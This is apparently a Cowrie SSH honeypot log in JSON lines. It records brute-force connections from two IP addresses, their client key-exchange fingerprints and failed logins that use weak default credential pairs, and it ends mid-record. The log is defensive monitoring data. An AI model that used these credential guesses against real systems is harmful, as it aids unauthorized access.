{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:44.903554Z","src_ip":"176.65.139.95","session":"86924cead00e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:45.019578Z","src_ip":"176.65.139.95","session":"86924cead00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:45.391686Z","src_ip":"176.65.139.95","session":"86924cead00e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51504,"dst_ip":"159.203.135.109","dst_port":22,"session":"37bdcd54f744","protocol":"ssh","message":"New connection: 192.109.200.78:51504 (159.203.135.109:22) [session: 37bdcd54f744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:45.540342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:45.548302Z","src_ip":"192.109.200.78","session":"37bdcd54f744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:45.630080Z","src_ip":"192.109.200.78","session":"37bdcd54f744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:45.888300Z","src_ip":"192.109.200.78","session":"37bdcd54f744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:46.485377Z","src_ip":"176.65.139.95","session":"86924cead00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:46.976464Z","src_ip":"192.109.200.78","session":"37bdcd54f744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55296,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee4088a36c35","protocol":"ssh","message":"New connection: 192.109.200.78:55296 (159.203.135.109:22) [session: ee4088a36c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:49.747350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:49.750910Z","src_ip":"192.109.200.78","session":"ee4088a36c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:49.833457Z","src_ip":"192.109.200.78","session":"ee4088a36c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:50.085001Z","src_ip":"192.109.200.78","session":"ee4088a36c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52054,"dst_ip":"159.203.135.109","dst_port":22,"session":"84791615dfeb","protocol":"ssh","message":"New connection: 176.65.139.95:52054 (159.203.135.109:22) [session: 84791615dfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:51.074206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:51.082126Z","src_ip":"176.65.139.95","session":"84791615dfeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:51.168509Z","src_ip":"176.65.139.95","session":"84791615dfeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:51.175099Z","src_ip":"192.109.200.78","session":"ee4088a36c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:51.451617Z","src_ip":"176.65.139.95","session":"84791615dfeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:52.539007Z","src_ip":"176.65.139.95","session":"84791615dfeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55298,"dst_ip":"159.203.135.109","dst_port":22,"session":"577613dfbd7f","protocol":"ssh","message":"New connection: 192.109.200.78:55298 (159.203.135.109:22) [session: 577613dfbd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:53.798428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:53.803424Z","src_ip":"192.109.200.78","session":"577613dfbd7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:53.886348Z","src_ip":"192.109.200.78","session":"577613dfbd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:54.132986Z","src_ip":"192.109.200.78","session":"577613dfbd7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:55.221286Z","src_ip":"192.109.200.78","session":"577613dfbd7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52062,"dst_ip":"159.203.135.109","dst_port":22,"session":"99855e584752","protocol":"ssh","message":"New connection: 176.65.139.95:52062 (159.203.135.109:22) [session: 99855e584752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:57.388937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:57.398913Z","src_ip":"176.65.139.95","session":"99855e584752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:57.481502Z","src_ip":"176.65.139.95","session":"99855e584752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55304,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a5d37c1a7d1","protocol":"ssh","message":"New connection: 192.109.200.78:55304 (159.203.135.109:22) [session: 1a5d37c1a7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:57.778976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:57.784899Z","src_ip":"192.109.200.78","session":"1a5d37c1a7d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:57.867679Z","src_ip":"192.109.200.78","session":"1a5d37c1a7d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:58.165646Z","src_ip":"192.109.200.78","session":"1a5d37c1a7d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:58.253213Z","src_ip":"176.65.139.95","session":"99855e584752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:59.251098Z","src_ip":"192.109.200.78","session":"1a5d37c1a7d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:09:59.365541Z","src_ip":"176.65.139.95","session":"99855e584752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54132,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0fb7a289e6d","protocol":"ssh","message":"New connection: 192.109.200.78:54132 (159.203.135.109:22) [session: f0fb7a289e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:01.922053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:01.929515Z","src_ip":"192.109.200.78","session":"f0fb7a289e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:02.018376Z","src_ip":"192.109.200.78","session":"f0fb7a289e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:02.290413Z","src_ip":"192.109.200.78","session":"f0fb7a289e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:03.384102Z","src_ip":"192.109.200.78","session":"f0fb7a289e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36330,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5a68a9a461c","protocol":"ssh","message":"New connection: 176.65.139.95:36330 (159.203.135.109:22) [session: f5a68a9a461c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:04.202597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:04.210059Z","src_ip":"176.65.139.95","session":"f5a68a9a461c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes25